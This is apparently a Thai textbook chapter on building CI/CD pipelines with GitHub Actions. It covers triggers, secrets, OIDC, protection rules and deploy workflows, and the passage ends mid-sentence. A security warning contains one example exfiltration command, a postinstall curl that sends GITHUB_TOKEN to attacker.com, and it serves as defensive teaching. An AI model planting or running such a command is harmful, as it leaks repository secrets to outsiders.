โหมดมืด
บทที่ 5 — CI/CD
← ก่อนหน้า: Kubernetes Book | สารบัญ | บทที่ 6 →
📖 ตามลำดับแนะนำใน README บทนี้ต่อจาก Kubernetes Book (บท 04 ในโฟลเดอร์นี้เป็นแค่ quick reference — ของจริงอยู่ K8s Book)
TL;DR: บทนี้ตอบ "เขียน CI/CD pipeline ที่ใช้จริงได้ยังไง" — GitHub Actions ตั้งแต่ workflow แรกจนถึง production. ครอบคลุมเรื่องสำคัญ:
- การ build หลายเวอร์ชันพร้อมกัน (matrix build)
- การเขียน workflow กลางที่ใช้ซ้ำได้ (reusable workflow)
- การ auth กับ cloud โดยไม่ใช้ key static (OIDC)
- การ deploy ผ่าน Git แบบ GitOps
- กลยุทธ์การปล่อย version ใหม่ (deployment strategies — rolling/blue-green/canary)
ข้ามได้ถ้า: ตั้ง GitHub Actions + OIDC + deploy strategy ในงานประจำได้คล่องแล้ว
หลังจบบท คุณจะ:
- เข้าใจ CI/CD pipeline — ไม่ใช่แค่ "ใช้ GitHub Actions"
- เขียน GitHub Actions workflow ตั้งแต่เริ่มจนถึง production
- ใช้ deployment strategies (blue/green, canary, rolling) เป็น
- ทำ testing in pipeline (unit, integration, e2e)
- จัดการ secrets + environments แบบปลอดภัย (OIDC, environment protection)
⚠️ เรื่อง version ของ runtime ในตัวอย่าง — ตัวอย่างในบทนี้ใช้ Java 21 และ Go 1.22 เป็น baseline (LTS ที่ stable ตอนเขียนช่วงปี 2024-2025). ตอนจะใช้จริงเสมอ: เช็คเวอร์ชัน LTS ล่าสุดที่ go.dev/dl และ adoptium.net ก่อน — pin minor version ใน
go.mod/pom.xmlของคุณ ห้ามใช้latestในไฟล์ workflow เพราะจะทำให้ build เปลี่ยนพฤติกรรมโดยไม่ตั้งใจ💡 ถ้าคุณใช้ Python/Node.js/Ruby/.NET — แนวคิดทั้งหมดในบทนี้เหมือนกัน เปลี่ยนแค่
actions/setup-java@v4เป็นactions/setup-python@v5/actions/setup-node@v4/actions/setup-dotnet@v4และคำสั่ง build/test ตามภาษานั้น ๆ
🗺️ บทนี้ยาว 1300+ บรรทัด — TOC สำหรับกระโดดอ่าน:
🟢 เส้นทางเริ่มต้น (basic — เริ่มที่นี่):
- Prerequisites + Mental Model — pipeline คืออะไร
- CI vs CD (Delivery) vs CD (Deployment) — 3 ตัวย่อสับสน
- GitHub Actions Basics — workflow แรก
- Triggers — เมื่อไหร่ workflow ถึงรัน (สำคัญมาก อ่านเลย)
- Job Configuration — ตั้งค่า job เบื้องต้น
- Common Steps — checkout, setup, run
- Job Dependencies — needs:
- Secrets — เก็บค่าลับ
- Full Example — Spring Boot CI — รวมทุกอย่าง
🟡 ถัดมา (เมื่อพร้อม): 10. Deploy Workflow · Deployment Strategies · Test in Pipeline · Security Checks
🔴 ขั้นสูง (กลับมาเมื่อทำ production จริง): 11. Reusable Workflow · Composite Actions · Matrix Build · Monorepo · Self-hosted Runner 12. Modern Practices — GitOps (zone "ข้ามได้" ในตัวเอง)
⚠️ ข้อยกเว้น — OIDC ไม่ใช่ "ขั้นสูง" อีกแล้วในปี 2026: ถ้า deploy ขึ้น AWS/GCP/Azure ใช้ OIDC เป็น default — ฝัง static access key (key ถาวรของ cloud) ใน GitHub Secrets ถือเป็นสัญญาณอันตราย: ถ้า key รั่ว = บัญชี cloud ถูกครอบครองจนกว่าจะเปลี่ยน key (rotate). อ่าน OIDC section (25. Modern Practices) คู่กับ Secrets ตั้งแต่รอบแรก
📝 OIDC คืออะไรสั้น ๆ — วิธี auth กับ cloud โดยไม่ต้องเก็บ key ถาวร แต่ใช้ token อายุสั้น ๆ ที่ออกใหม่ทุกรอบ workflow (รายละเอียดเต็มอยู่ในข้อ 25)
0. Prerequisites + Mental Model
คุณควรรู้:
- ✅ Git push/PR (บทที่ 2)
- ✅ Docker (บทที่ 3) — เพราะ pipeline ส่วนใหญ่ build image
- ❌ ไม่ต้องเคยใช้ CI/CD มาก่อน
Mental Model — Pipeline คืออะไร
Pipeline = "สายพานการผลิต (production line) ของโรงงาน" — code commit → ผ่านขั้นตอนต่อเนื่อง → จบที่ deployed app
กฎ 3 ข้อของ pipeline ที่ดี:
- รู้ผลเร็ว (fast feedback) — รัน test ที่เร็วก่อน (lint, unit) แล้วค่อยรันที่ช้า (E2E) จะได้รู้ปัญหาภายในไม่กี่นาที
- พังก็หยุดเลย (หยุดเมื่อล้มเหลว) — stage ไหนพัง หยุดทั้ง pipeline ทันที ห้ามไหลต่อไป deploy code ที่มีบั๊ก
- รันซ้ำได้ผลเดิม (reproducible) — รัน 100 ครั้งต้องได้ผลเหมือนกัน ห้ามมีขั้นตอนที่ต้องคนเข้าไปทำเอง
1. CI vs CD (Delivery) vs CD (Deployment)
สามตัวย่อนี้สับสนกันบ่อยที่สุดในวงการ — CI (Continuous Integration) คือ auto build+test ทุก commit, CD ตัวแรก (Continuous Delivery) คือเตรียมพร้อม deploy แต่รอคนกดอนุมัติ, CD ตัวที่สอง (Continuous Deployment) คือ deploy อัตโนมัติเลยถ้า test ผ่าน:
text
CI = Continuous Integration = build + test อัตโนมัติทุก commit
CD = Continuous Delivery = พร้อม deploy แต่รอคนกดอนุมัติ
CD = Continuous Deployment = deploy อัตโนมัติเลยถ้า test ผ่านส่วนใหญ่ → CI auto, CD = staging auto + prod manual approve
2. Why CI/CD
การ deploy ด้วยมือนาน ๆ ครั้งทำให้ทุกครั้งเสี่ยงสูงและกู้คืนช้า ส่วน CI/CD ที่ปล่อยบ่อย ๆ ทีละน้อยกลับปลอดภัยกว่าและ feedback เร็วกว่ามาก:
text
Deploy ด้วยมือ (manual):
- เดือนละครั้ง
- ใช้เวลา 4 ชั่วโมงต่อครั้ง
- บั๊กหลุดถึง prod: 30%
- เวลา rollback ตอนพัง: 2 ชั่วโมง
CI/CD:
- วันละหลายรอบ
- ใช้เวลา < 30 นาทีต่อครั้ง
- บั๊กหลุดถึง prod: 5%
- เวลา rollback ตอนพัง: 2 นาที→ รู้ผลเร็ว = คุณภาพดี (เจอบั๊กเร็ว, แก้เร็ว, ส่งถึงผู้ใช้น้อยลง)
3. CI/CD Tools
เครื่องมือ CI/CD แต่ละตัวเด่นคนละแบบ — บางตัวผูกกับ platform (GitHub Actions, GitLab CI), บางตัว self-hosted ยืดหยุ่นแต่ซับซ้อน (Jenkins), บางตัวออกแบบมาเพื่อ Kubernetes โดยเฉพาะ (Argo CD, Tekton):
| Tool | จุดเด่น |
|---|---|
| GitHub Actions ⭐ | ผูกแน่นกับ GitHub, ใช้ฟรีสำหรับ repo สาธารณะ |
| GitLab CI | ครบทั้ง DevOps ในที่เดียว (CI/CD + registry + monitoring) |
| Jenkins | self-hosted, มีมานานสุด, ปรับได้ทุกอย่างแต่ซับซ้อน |
| CircleCI | cloud SaaS, build เร็ว แต่ส่วนแบ่งตลาดลดลงเรื่อย ๆ |
| Argo CD / Argo Workflows | ออกแบบมาเพื่อ Kubernetes โดยเฉพาะ + GitOps |
| Flux CD | คล้าย Argo CD — GitOps สำหรับ K8s, น้ำหนักเบากว่า |
| Tekton | pipeline บน Kubernetes (CRD-based) |
| Dagger | เขียน pipeline เป็นโค้ด (Go/Python/TypeScript) รันที่ไหนก็ได้ |
| AWS CodePipeline | ผูกกับ AWS ecosystem |
| Azure DevOps | enterprise + ฝั่ง Microsoft |
หนังสือนี้ → focus GitHub Actions
4. GitHub Actions Basics
GitHub Actions ทำงานจากไฟล์ YAML ใน .github/workflows/ — คุณบอกว่า "เมื่อเกิด event อะไร (on) ให้รัน job อะไรบ้าง (jobs)" ตัวอย่างแรกเป็น workflow CI พื้นฐานที่ build + test ทุกครั้งที่ push หรือเปิด PR เข้า main:
💡 ตัวอย่างในบทนี้ใช้
@v4/@v3เพื่ออ่านง่าย — ก่อนนำไปใช้งานจริง ให้ pin action เป็น SHA แทน (เช่นactions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11) ตาม best practice ในข้อ 23. Best Practices เพื่อป้องกัน supply-chain attack
yaml
# .github/workflows/ci.yml
name: CI
on: # เกิด event นี้เมื่อไหร่ → รัน workflow
push:
branches: [main]
pull_request:
branches: [main]
permissions:
contents: read # ⭐ ให้ GITHUB_TOKEN สิทธิ์อ่านอย่างเดียว — น้อยสุดเท่าที่ workflow นี้ต้องใช้ (ดูเหตุผลเต็มในข้อ 23 Best Practices)
jobs:
build:
runs-on: ubuntu-latest # รันบน VM Ubuntu ที่ GitHub เตรียมให้
steps:
- uses: actions/checkout@v4 # ดึง source code จาก repo
- name: Setup JDK # ติดตั้ง Java
uses: actions/setup-java@v4
with:
java-version: '21'
distribution: 'temurin'
cache: maven
- name: Build with Maven # build โปรเจกต์ (./mvnw = Maven Wrapper — script ที่อยู่ใน repo เอง ไม่ต้องลง Maven บนเครื่อง)
run: ./mvnw -B package --file pom.xml
- name: Run tests # รัน test
run: ./mvnw test💡
./mvnwคืออะไร — Maven Wrapper script ที่ generate มากับ Spring Initializr/Maven (mvn wrapper:wrapper) แล้ว commit เข้า repo. มันจะ download Maven เวอร์ชันที่ project ต้องการให้เอง — CI/CD จึงไม่ต้องลง Maven ก่อน และทุกคนใน team ใช้เวอร์ชันเดียวกัน (Node.js มีnpx, Gradle มี./gradlewแนวคิดเดียวกัน)
Commit ขึ้น GitHub → แท็บ Actions → ดูผลการรัน
Components
| คืออะไร | |
|---|---|
| Workflow | ไฟล์ YAML ใน .github/workflows/ (1 ไฟล์ = 1 workflow) |
| Job | ชุด step ที่รันต่อเนื่องใน VM เดียวกัน |
| Step | คำสั่งเดี่ยว หรือเรียกใช้ action ตัวเดียว |
| Runner | VM ที่ใช้รัน job (GitHub เตรียมให้ หรือเครื่องของเราเอง) |
| Action | หน่วยที่นำมาใช้ซ้ำได้ (เช่น actions/checkout, actions/setup-node) |
5. Triggers
คีย์ on บอกว่า workflow รันเมื่อไหร่ — ไม่ใช่แค่ตอน push แต่ยังรันได้ตอนเปิด PR, ตามเวลา (cron), กดเองด้วยมือ (workflow_dispatch), ตอน release หรือถูก trigger จากภายนอก:
yaml
on:
# ตอน push
push:
branches: [main, develop]
paths:
- 'src/**'
- '!docs/**' # ยกเว้น path นี้ ไม่ trigger
tags: ['v*']
# ตอนเปิด / อัปเดต PR
pull_request:
types: [opened, synchronize, reopened]
# ตามตารางเวลา (cron)
schedule:
- cron: '0 3 * * *' # ทุกวัน 03:00 UTC (= 10:00 ไทย)
# กดเองด้วยมือ (manual trigger)
workflow_dispatch:
inputs:
environment:
type: choice
options: [staging, production]
# ตอน release ใหม่
release:
types: [published]
# ถูก trigger จากภายนอก (เช่น webhook จากระบบอื่น)
repository_dispatch:
types: [deploy]
# กัน workflow รันซ้ำบน branch เดียวกัน — ยกเลิก run เก่าทันทีที่ push ทับ
concurrency:
group: ${{ github.workflow }}-${{ github.ref }}
cancel-in-progress: true⚠️
pull_requestvspull_request_target— ระวังให้ดี
pull_request(ที่เราใช้ข้างบน) = ปลอดภัย — รันด้วย context ของ fork, ไม่เห็น secret ของ repo หลักpull_request_target= รันด้วย context ของ repo หลัก เห็น secret ได้ แต่ checkout code ของ PR — ถ้าเผลอcheckoutPR code แล้วรันคำสั่งใด ๆ ของมัน = ส่ง secret ทั้ง repo ออกได้ (เช่น hacker เปิด PR ใส่ malicious script)- ตัวอย่างการโจมตี: workflow checkout PR code แล้วรัน
npm install→ attacker วาง script ในpackage.jsonที่postinstallส่ง secret ออกไปด้วยcurl https://attacker.com/?s=$GITHUB_TOKEN— สำเร็จโดยไม่ต้องมีสิทธิ์อะไรเลยนอกจากเปิด PR- ถ้าจำเป็นต้องใช้
pull_request_target(เช่น auto-label PR) — ห้าม checkout PR head ให้ checkout เฉพาะ base branch เท่านั้น และห้ามรันโค้ดของ PR💡
concurrencyช่วยอะไร — ถ้า dev push commit รัว ๆ workflow run เก่าจะถูกยกเลิกอัตโนมัติ ประหยัด CI minutes และกัน deploy ซ้อนกันบน prod
6. Job Configuration
ภายในแต่ละ job มีออปชันให้ปรับ — เลือก OS (runs-on), ตั้ง timeout, รันหลายเวอร์ชันพร้อมกันด้วย strategy.matrix (เช่น test ทั้ง Node 18 และ 20), และกำหนด env รวมถึง service container (เช่น DB) ที่ job ต้องใช้:
yaml
jobs:
test:
runs-on: ubuntu-latest # เลือก OS: ubuntu / windows / macos
timeout-minutes: 30 # job จะถูกยกเลิกถ้าเกิน 30 นาที (กัน job ค้าง)
strategy:
matrix:
node: [18, 20] # test ทั้ง Node 18 และ 20
os: [ubuntu-latest, macos-latest]
fail-fast: false # คอมโบไหนพังก็ให้คอมโบอื่นรันต่อ (อย่าหยุดทันที — จะได้เห็นว่าพังตรงไหนบ้าง)
env:
DATABASE_URL: postgres://localhost:5432/test
# services = container ที่ GitHub spin ขึ้นมาให้พร้อม job (เหมือนรัน docker run เบื้องหลัง)
services:
postgres:
image: postgres:16
env:
POSTGRES_USER: postgres
POSTGRES_PASSWORD: postgres # password ของ container ชั่วคราว ไม่ใช่ prod
POSTGRES_DB: test
ports:
- 5432:5432
# options = ส่งค่าให้ docker run โดยตรง
# health-cmd = คำสั่งที่ docker ใช้เช็คว่า container พร้อมรับ connection แล้วหรือยัง
# (pg_isready = utility ของ postgres ที่ตอบ exit 0 ถ้า server พร้อม)
options: >-
--health-cmd "pg_isready"
--health-interval 10s
--health-timeout 5s
--health-retries 5
steps:
- uses: actions/checkout@v4
- run: echo "Running on ${{ matrix.os }} with Node ${{ matrix.node }}"💡
fail-fast: truevsfalse— สำหรับ PR ที่อยากรู้ผลเร็วtrueก็ได้ (ประหยัด CI), แต่สำหรับ matrix test ใช้falseดีกว่า เพราะถ้า Node 18 พังก่อน คุณอยากรู้ด้วยว่า Node 20 พังเหมือนกันไหม จะได้แก้รอบเดียว
7. Common Steps
yaml
steps:
# ดึง source code จาก repo
- uses: actions/checkout@v4
# ติดตั้งภาษา / runtime
- uses: actions/setup-node@v4
with:
node-version: '20'
cache: npm
- uses: actions/setup-java@v4
with:
java-version: '21'
distribution: 'temurin'
cache: maven
- uses: actions/setup-python@v5
with:
python-version: '3.12'
# cache dependency เอง (กรณี setup-* ไม่ครอบคลุม)
- uses: actions/cache@v4
with:
path: ~/.m2/repository
key: ${{ runner.os }}-m2-${{ hashFiles('**/pom.xml') }}
restore-keys: |
${{ runner.os }}-m2- # ถ้า key ตรงไม่เจอ ให้ลอง prefix นี้ (cache hit ratio สูงขึ้น)
# รันคำสั่ง shell
- name: Install dependencies
run: npm ci
- name: Run tests
run: npm test
# หลายบรรทัด
- name: Build
run: |
npm install
npm run build
ls dist/
# มีเงื่อนไข — รันเฉพาะเมื่อ branch เป็น main
- name: Deploy
if: github.ref == 'refs/heads/main'
run: ./deploy.sh
# อัปไฟล์ผลลัพธ์ขึ้น GitHub (artifact v4 — เร็วกว่า v3 ~10 เท่า, default ตั้งแต่ปลายปี 2024)
- uses: actions/upload-artifact@v4
with:
name: build-output
path: dist/
retention-days: 7 # default 90 วัน
compression-level: 6 # 0-9, 6 = สมดุลระหว่างขนาดกับเวลา
# ดาวน์โหลด artifact จาก job อื่นในรอบเดียวกัน
- uses: actions/download-artifact@v4
with:
name: build-output⚠️ เลือกอย่างใดอย่างหนึ่ง — อย่าใส่ทั้งสอง
setup-java/setup-node/setup-pythonมีcache:ในตัวอยู่แล้ว (จัดการ key ให้เอง). ใช้actions/cache@v4ตรง ๆ ต่อเมื่อต้อง cache path ที่ setup-* ไม่ครอบคลุม (เช่น cache binary ที่ build เอง)
⚠️ Breaking change v3 → v4: ใน v4 artifact name ต้อง unique per workflow run (แต่ละ matrix job ต้องตั้งชื่อต่างกัน เช่น
build-${{ matrix.os }}). v3 รวม artifact ชื่อเดียวกันได้ — v4 จะ fail
8. Job Dependencies
Job ต่าง ๆ รันขนานกันโดยปริยาย คีย์ needs ใช้กำหนด dependency — เช่น build ต้องรอ lint และ test ผ่านก่อน, deploy ต้องรอ build และ if คุมว่าจะ deploy เฉพาะบน main:
yaml
jobs:
lint:
runs-on: ubuntu-latest
steps:
- run: npm run lint
test:
runs-on: ubuntu-latest
steps:
- run: npm test
build:
runs-on: ubuntu-latest
needs: [lint, test] # wait for both
steps:
- run: npm run build
deploy:
runs-on: ubuntu-latest
needs: build
if: github.ref == 'refs/heads/main'
steps:
- run: ./deploy.sh9. Secrets
ห้าม hardcode ค่าลับ (API key, password, token) ลงในไฟล์ workflow เด็ดขาดเพราะมันอยู่ใน repo — ใช้ GitHub Secrets ซึ่ง encrypt และฉีดเข้ามาเป็น env ตอนรันเท่านั้น ค่าที่ไม่ลับใช้ "Variables" และกำหนดแยกตาม environment (staging/production) เพื่อจำกัดขอบเขตความเสียหายได้:
⚠️ 2026 baseline — สำหรับ cloud (AWS/GCP/Azure): ใช้ OIDC (ดู Modern Practices) เป็น default แทน static cloud key. GitHub Secrets ยังเหมาะสำหรับ third-party token (Slack webhook, Snyk token, Docker Hub PAT) — แต่ static
AWS_ACCESS_KEY_IDในตัวอย่างด้านล่างควรเป็น fallback เท่านั้นถ้าระบบ legacy ไม่รองรับ OIDC
💡 blast radius = ขอบเขตความเสียหายถ้าของหลุดหรือพัง (ยิ่งจำกัดได้ ความเสียหายยิ่งวงเล็ก)
ใส่ใน GitHub: Settings → Secrets and variables → Actions
yaml
# ⚠️ ตัวอย่างนี้ใช้ static key — แนะนำให้ใช้ OIDC แทน (ดูข้อ 25)
# ก่อนรันได้: ต้องตั้ง secret AWS_ACCESS_KEY_ID + AWS_SECRET_ACCESS_KEY ใน
# Repo Settings → Secrets and variables → Actions และ IAM user ต้องมีสิทธิ์ s3:PutObject
steps:
- name: Deploy
env:
AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }}
AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
run: |
aws s3 sync dist/ s3://my-bucket/Variables (non-secret)
yaml
env:
AWS_REGION: ${{ vars.AWS_REGION }}Environment-specific
text
Repository → Settings → Environments → "production"
- Secret: AWS_KEY
- Variable: AWS_REGION
- Protection: required reviewersyaml
deploy:
environment: production # uses prod secrets/vars
steps:
- run: deploy→ จำกัดขอบเขตความเสียหาย — secret ของ prod อยู่แค่ใน environment "production" job อื่นจะดึงไม่ได้
Environment Protection Rules — production-grade settings
ใน Settings → Environments → production มี protection rules หลายตัวที่ทีม enterprise ใช้กันจริง — ตั้งครบจะกันความผิดพลาดและ insider attack (คนในแอบ deploy) ได้:
| Rule | คุมอะไร | แนะนำสำหรับ production |
|---|---|---|
| Required reviewers (ต้องผ่านการอนุมัติ) | ต้องมีคนกด approve ก่อน job รัน | 1-2 คน, ห้ามรวมผู้เปิด PR (เปิด Prevent self-review) |
| Wait timer (หน่วงเวลา) | หน่วงเวลาก่อน job เริ่มรัน | 5-15 นาที — เผื่อคน revert PR ทันถ้าเผลอ merge |
| Deployment branches (จำกัด branch) | branch ไหนถึงจะ deploy environment นี้ได้ | เฉพาะ main หรือใช้ pattern release/* |
| Custom deployment protection rule (2024+) (เงื่อนไขเสริม) | เรียก webhook ภายนอกถามเงื่อนไขก่อน deploy | เชื่อม Datadog (ห้าม deploy ถ้า error rate สูง), JIRA (ต้องมี ticket อ้างอิง) — เป็น enterprise tool ที่ต้อง subscribe |
| Required status check (ต้องผ่าน CI) | branch ต้องผ่าน check ที่กำหนด (lint/test) ก่อน | บังคับให้ไฟ CI ต้องเขียวทั้งหมด |
ตัวอย่าง config:
yaml
deploy-prod:
environment:
name: production
url: https://app.example.com
# rules ทั้งหมดตั้งใน GitHub UI ไม่ใช่ workflow
steps:
- run: ./deploy.shtext
GitHub UI → Environments → production:
✅ ต้องผ่าน approval จาก: [@platform-team, @sre-oncall]
✅ ห้าม approve PR ของตัวเอง (Prevent self-review): เปิด ← สำคัญ
✅ หน่วงเวลาก่อน deploy: 10 นาที
✅ branch ที่ deploy ได้: main, release/*
✅ เงื่อนไขเสริม: Datadog deployment gate (ห้าม deploy ถ้า error rate สูง)💡 ข้อแนะนำสำคัญ 2026 สำหรับ production environment:
- 2 reviewers (ใน org ที่ใหญ่พอ) + prevent self-review
- Wait timer ≥ 5 นาที (เผื่อ revert PR ก่อน deploy)
- Deployment branch = exact pattern ไม่ใช่ wildcard
*- Audit log ต้อง enable (GitHub Enterprise) — ดูว่าใคร approve เมื่อไหร่
10. Full Example — Spring Boot CI
ตัวอย่างนี้รวมทุก concept เป็น workflow CI สมบูรณ์สำหรับ Spring Boot — ใช้ services รัน PostgreSQL ให้ integration test, cache dependency ของ Maven และ upload รายงานผลทดสอบ:
yaml
# .github/workflows/ci.yml
name: CI
on:
push:
branches: [main]
pull_request:
jobs:
test:
runs-on: ubuntu-latest
services:
postgres:
image: postgres:16
env:
POSTGRES_USER: postgres
POSTGRES_PASSWORD: test # password ของ container ชั่วคราว ไม่ใช่ค่าจริง
POSTGRES_DB: test
ports: ['5432:5432']
options: >-
--health-cmd "pg_isready"
--health-interval 10s
--health-timeout 5s
--health-retries 5
steps:
- uses: actions/checkout@v4
- uses: actions/setup-java@v4
with:
java-version: '21'
distribution: 'temurin'
cache: maven
- name: Run unit tests
run: ./mvnw test
# ⚠️ profile "integration-test" ต้องนิยามเองใน pom.xml (bind maven-failsafe-plugin เข้า phase integration-test/verify) — ไม่มีให้อัตโนมัติจาก Spring Initializr
- name: Run integration tests
env:
DATABASE_URL: jdbc:postgresql://localhost:5432/test
DATABASE_USERNAME: postgres
DATABASE_PASSWORD: test
run: ./mvnw verify -Pintegration-test
# ⚠️ ไฟล์นี้เกิดจาก jacoco-maven-plugin เท่านั้น — ต้องตั้งค่าใน pom.xml (bind goal `report` เข้า phase test/verify) ไฟล์ถึงจะมีให้ Codecov อ่าน
- name: Upload coverage to Codecov
uses: codecov/codecov-action@v4 # ⚠️ ใช้จริง: pin SHA แทน @v4 (ดูข้อ 23)
with:
token: ${{ secrets.CODECOV_TOKEN }}
files: target/site/jacoco/jacoco.xml
- name: Test report
uses: dorny/test-reporter@v1 # ⚠️ ใช้จริง: pin SHA แทน @v1 (ดูข้อ 23)
if: always()
with:
name: Tests
path: target/surefire-reports/*.xml
reporter: java-junit
lint:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/setup-java@v4
with:
java-version: '21'
distribution: 'temurin'
- run: ./mvnw checkstyle:check
- run: ./mvnw spotbugs:check
security:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
# Trivy = scanner หาช่องโหว่ใน image / code / config
# pin SHA แทน @master (best practice — กัน supply-chain attack)
- name: Trivy filesystem scan
uses: aquasecurity/trivy-action@b2933f565dbc598b29947660e66259e3c7bc8561 # v0.36.0
with:
scan-type: fs
scanners: vuln,secret,misconfig # ⭐ ตั้งแต่ v0.40+ ใช้ scanners (เดิมชื่อ security-checks — deprecated)
severity: CRITICAL,HIGH
exit-code: '1' # ⭐ ทำให้ job fail ถ้าเจอช่องโหว่ระดับนี้
ignore-unfixed: true # ข้าม CVE ที่ยังไม่มี patch (ลด noise)
build:
runs-on: ubuntu-latest
needs: [test, lint, security]
if: github.event_name == 'push' && github.ref == 'refs/heads/main'
permissions:
contents: read
packages: write
id-token: write # สำหรับ OIDC (ใช้กับ Cosign signing ด้านล่าง)
attestations: write # สำหรับ build provenance
steps:
- uses: actions/checkout@v4
- name: Log in to GHCR
uses: docker/login-action@v3 # ⚠️ ใช้จริง: pin SHA แทน @v3 (ดูข้อ 23)
with:
registry: ghcr.io
username: ${{ github.actor }}
password: ${{ secrets.GITHUB_TOKEN }}
- name: Build + push (พร้อม provenance + SBOM)
id: build
uses: docker/build-push-action@v6 # ⚠️ ใช้จริง: pin SHA แทน @v6 (ดูข้อ 23)
with:
context: .
push: true
# ⭐ ใช้ SHA tag — immutable, ไม่ใช้ :latest บน prod (rollback ยาก, cache ของ K8s สับสน)
tags: |
ghcr.io/${{ github.repository }}:${{ github.sha }}
ghcr.io/${{ github.repository }}:${{ github.ref_name }}-${{ github.sha }}
cache-from: type=gha
cache-to: type=gha,mode=max
provenance: true # SLSA provenance (พิสูจน์ที่มาของ image)
sbom: true # ใส่ SBOM (Software Bill of Materials) ติด image
# สแกน image ที่ build แล้วก่อนปล่อย — gate ตรงนี้
- name: Trivy image scan
uses: aquasecurity/trivy-action@b2933f565dbc598b29947660e66259e3c7bc8561 # v0.36.0
with:
image-ref: 'ghcr.io/${{ github.repository }}:${{ github.sha }}'
severity: CRITICAL,HIGH
exit-code: '1'
ignore-unfixed: true💡 ทำไมไม่ใช้
:latest— tag:latestแก้ตัวเอง: deploy รอบใหม่ทับรอบเก่าทันที rollback ไปเวอร์ชันก่อนทำไม่ได้ (image hash เปลี่ยน) และ K8s cache ของ node อาจไม่ pull ใหม่. ใช้ SHA tag (${{ github.sha }}) แทน → 1 commit = 1 image immutable ตลอดไป
🔒 SLSA + SBOM คืออะไรสั้น ๆ
- SLSA (Supply-chain Levels for Software Artifacts) = framework ของ Google/OpenSSF ระบุระดับความน่าเชื่อของ artifact (Level 1-4) —
provenance: trueใส่ SLSA Level 2 metadata ติด image- SBOM (Software Bill of Materials) = "รายการส่วนผสม" ของ image (ใช้ lib อะไรเวอร์ชันไหนบ้าง) — ใช้ trace CVE ย้อนกลับได้ทันทีเมื่อมีช่องโหว่ใหม่ออก
- Tool ที่ใช้บ่อย: Syft (สร้าง SBOM), Cosign / Sigstore (เซ็นชื่อ image), in-toto (attestation framework)
🔏 อยากเซ็น image ด้วย Cosign (keyless signing — เซ็นชื่อโดยไม่ต้องมี private key) — แทนที่จะต้องสร้างและเก็บ private key ใน secret, keyless signing ใช้ OIDC token จาก GitHub เป็นหลักฐานตัวตน (ปลอดภัยกว่า เพราะไม่มี key ให้รั่ว). เพิ่ม step นี้ต่อจาก build:
yaml- uses: sigstore/cosign-installer@v3 # ⚠️ ใช้จริง: pin SHA แทน @v3 (ดูข้อ 23) - name: Sign image run: cosign sign --yes ghcr.io/${{ github.repository }}@${{ steps.build.outputs.digest }}cosign จะใช้ OIDC token ของ GitHub สร้างลายเซ็นโดยไม่ต้องมี private key — verify ปลายทางได้ด้วย
cosign verify
11. Deploy Workflow
⚠️ ค่าใช้จ่าย — อ่านก่อนทดลองตัวอย่างนี้: workflow นี้ใช้ EKS (Kubernetes บน AWS) ซึ่งเปิด cluster เปล่า ๆ ก็เสีย ~$73/เดือน แค่ control plane (ยังไม่นับ worker node). ถ้าจะลองเล่น ใช้ kind / minikube / k3d บนเครื่องเองก่อน (ฟรี) แล้วค่อยย้ายขึ้น EKS เมื่อแน่ใจ
🛑 ก่อนเริ่ม — เลือกแนวทางให้ถูก:
- Prod บน Kubernetes → ใช้ GitOps (ArgoCD / Flux) เป็น default — ดูข้อ 25. GitOps. CI build image แล้วแก้ image tag ใน config repo (Git) ส่วน CD ให้ controller sync เอง.
kubectl set imageแบบในตัวอย่างนี้ถือเป็น anti-pattern สำหรับ prod เพราะข้าม Git เป็น source of truth — ใช้เฉพาะกรณีฉุกเฉิน (emergency rollback) หรือ environment dev เท่านั้น- Static site / Lambda / Cloud Run → push ผ่าน CI ได้ตรง ๆ ตามตัวอย่างนี้
ตัวอย่าง deploy workflow ที่กดเองด้วยมือ (workflow_dispatch) โดยเลือก environment + version ได้ — ใช้ OIDC auth กับ AWS (ไม่ใช้ static key), อัป image ลง Kubernetes, รอ rollout, smoke test แล้วแจ้ง Slack โดยใช้ environment เพื่อดึง secret ของ env นั้นโดยเฉพาะ:
yaml
# .github/workflows/deploy.yml
# ⚠️ ตัวอย่างนี้สำหรับ emergency / dev เท่านั้น — prod แนะนำ GitOps (ดูข้อ 25)
name: Deploy
on:
workflow_dispatch:
inputs:
environment:
type: choice
options: [staging, production]
required: true
version:
type: string
required: true
permissions:
id-token: write # ⭐ จำเป็นสำหรับ OIDC
contents: read
jobs:
deploy:
runs-on: ubuntu-latest
environment: ${{ inputs.environment }}
steps:
- uses: actions/checkout@v4
- name: ติดตั้ง kubectl
uses: azure/setup-kubectl@v4
with:
version: 'v1.31.0' # pin version — ห้ามใช้ latest บน prod (ต้องอยู่ใน ±1 minor ของ cluster version)
# ⭐ OIDC — ไม่มี static key แล้ว
- name: Auth กับ AWS ผ่าน OIDC
uses: aws-actions/configure-aws-credentials@v4
with:
role-to-assume: arn:aws:iam::123456789:role/github-deploy-${{ inputs.environment }}
aws-region: us-east-1
- name: ตั้งค่า kubeconfig (ต้องมี EKS cluster อยู่ก่อน — เห็นข้อความเตือนเรื่องค่าใช้จ่ายด้านบน)
run: aws eks update-kubeconfig --name my-cluster --region us-east-1
- name: Deploy (kubectl set image — emergency only, prod แนะนำ GitOps)
run: |
kubectl set image deployment/myapp \
app=ghcr.io/myorg/myapp:${{ inputs.version }} \
-n ${{ inputs.environment }}
# รอ rollout ให้เสร็จ (timeout 5 นาที — ถ้าเกินจะ fail)
kubectl rollout status deployment/myapp -n ${{ inputs.environment }} --timeout=5m
- name: Smoke test (รอ pod พร้อมก่อน ดีกว่า sleep ตรง ๆ)
run: |
kubectl wait --for=condition=available --timeout=2m \
deployment/myapp -n ${{ inputs.environment }}
curl -f --max-time 10 --retry 3 --retry-delay 5 \
https://api-${{ inputs.environment }}.example.com/health
# Slack action v2 (v1 เลิก maintain ตั้งแต่ปี 2024)
- name: แจ้ง Slack
if: always()
uses: slackapi/slack-github-action@v2 # ⚠️ ใช้จริง: pin SHA แทน @v2 (ดูข้อ 23)
with:
method: chat.postMessage
token: ${{ secrets.SLACK_BOT_TOKEN }}
payload: |
channel: "deploys"
text: "Deploy to ${{ inputs.environment }}: ${{ job.status }}"🔄 ทำไม
